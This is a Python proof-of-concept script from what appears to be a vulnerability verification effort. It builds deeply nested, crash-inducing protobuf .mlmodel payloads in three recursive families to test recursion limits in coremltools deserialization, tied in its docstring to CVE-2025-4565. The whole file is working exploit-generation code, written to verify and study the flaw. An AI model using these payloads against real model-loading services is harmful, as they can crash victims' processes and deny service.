File size: 5,824 Bytes
33b540b | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | """
PoC builder for focus-02-protobuf-mlmodel-deserialization.
Builds three families of maliciously-nested but syntactically valid protobuf
payloads using the *_pb2 stubs shipped inside coremltools itself (no protoc
needed), matching the three independent recursive cycles identified in the
candidate finding:
1. Model.pipeline.models[0] -> Model -> pipeline.models[0] -> ... (Pipeline cycle)
2. MILSpec.Operation.blocks[0].operations[0] -> Operation -> ... (MIL control-flow cycle)
3. NeuralNetwork.layers[0].branch.ifBranch -> NeuralNetwork -> ... (NeuralNetwork branch cycle)
IMPORTANT (empirical finding during PoC development, documented in the
evidence log): building/serializing very deep chains (>= ~2000-5000 levels)
through the accelerated "upb" backend can itself crash the whole Python
process natively (no Python traceback at all) — this is a DIFFERENT and
separate phenomenon from the CVE-2025-4565 parsing recursion limit, and is
NOT the attacker-facing scenario (an attacker crafts the .mlmodel bytes
once, offline, by whatever means; the victim only ever calls
ParseFromString/load_spec on the resulting bytes). To build reliably at all
requested depths regardless of host backend, this script always constructs
the message with PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python forced AND a
worker thread with an enlarged OS stack + raised sys.setrecursionlimit, so
that building the payload never becomes the bottleneck under test. The
resulting bytes are then used, unmodified, to drive the actual test of
interest: how the DESERIALIZATION path (ParseFromString/load_spec) behaves
under each backend/version, which is done by separate scripts
(test_parse_default_backend.py, test_parse_forced_backend.py).
Run with any venv's python (does not need to be the venv under test — the
resulting .mlmodel bytes are backend-agnostic wire format), e.g.:
verify/venv-protobuf/Scripts/python.exe build_payloads.py --outdir out
"""
import argparse
import os
import sys
import threading
os.environ.setdefault("PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION", "python")
def build_pipeline_chain(depth):
from coremltools.proto import Model_pb2
root = Model_pb2.Model()
root.specificationVersion = 1
cur = root
for _ in range(depth):
nested = cur.pipeline.models.add()
nested.specificationVersion = 1
cur = nested
cur.identity.SetInParent()
return root.SerializeToString()
def build_mil_block_chain(depth):
"""Model.mlProgram.functions['main'].block_specializations['CoreML5'] is a
Block; Block.operations[i] is an Operation; Operation.blocks[j] is a
Block. Chain Operation->Block->Operation->Block->...
"""
from coremltools.proto import Model_pb2
root = Model_pb2.Model()
root.specificationVersion = 5
prog = root.mlProgram
prog.version = 1
fn = prog.functions["main"]
fn.opset = "CoreML5"
block = fn.block_specializations["CoreML5"]
cur_block = block
for _ in range(depth):
op = cur_block.operations.add()
op.type = "const"
nested_block = op.blocks.add()
cur_block = nested_block
return root.SerializeToString()
def build_neuralnetwork_branch_chain(depth):
"""NeuralNetwork.layers[i].branch.ifBranch is itself a NeuralNetwork
message (BranchLayerParams { NeuralNetwork ifBranch; NeuralNetwork
elseBranch; }). Chain NeuralNetwork->BranchLayer->NeuralNetwork->...
"""
from coremltools.proto import Model_pb2
root = Model_pb2.Model()
root.specificationVersion = 3
cur_nn = root.neuralNetwork
for _ in range(depth):
layer = cur_nn.layers.add()
layer.name = "branch"
layer.branch.SetInParent()
cur_nn = layer.branch.ifBranch
return root.SerializeToString()
BUILDERS = {
"pipeline": build_pipeline_chain,
"mil_block": build_mil_block_chain,
"nn_branch": build_neuralnetwork_branch_chain,
}
def build_in_big_stack_thread(builder, depth):
"""Run `builder(depth)` in a worker thread with a large OS stack and a
raised Python recursion limit, so that building itself never fails for
the depths we care about (the thing under test is parsing, not
building)."""
old_limit = sys.getrecursionlimit()
sys.setrecursionlimit(max(old_limit, depth * 20 + 1000))
threading.stack_size(64 * 1024 * 1024) # 64MB worker stack
result = {}
def worker():
try:
result["data"] = builder(depth)
except RecursionError:
result["error"] = "RecursionError"
except Exception as e: # pragma: no cover - diagnostic only
result["error"] = f"{type(e).__name__}: {e}"
t = threading.Thread(target=worker)
t.start()
t.join()
sys.setrecursionlimit(old_limit)
return result
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--outdir", required=True)
ap.add_argument("--depths", default="50,150,1000,5000")
ap.add_argument("--families", default="pipeline,mil_block,nn_branch")
args = ap.parse_args()
os.makedirs(args.outdir, exist_ok=True)
depths = [int(d) for d in args.depths.split(",")]
families = args.families.split(",")
for fam in families:
builder = BUILDERS[fam]
for depth in depths:
result = build_in_big_stack_thread(builder, depth)
if "data" in result:
data = result["data"]
path = os.path.join(args.outdir, f"{fam}_depth{depth}.mlmodel")
with open(path, "wb") as f:
f.write(data)
print(f"[BUILD] {fam} depth={depth}: {len(data)} bytes -> {path}")
else:
print(f"[BUILD] {fam} depth={depth}: FAILED TO BUILD ({result.get('error')})")
if __name__ == "__main__":
main()
|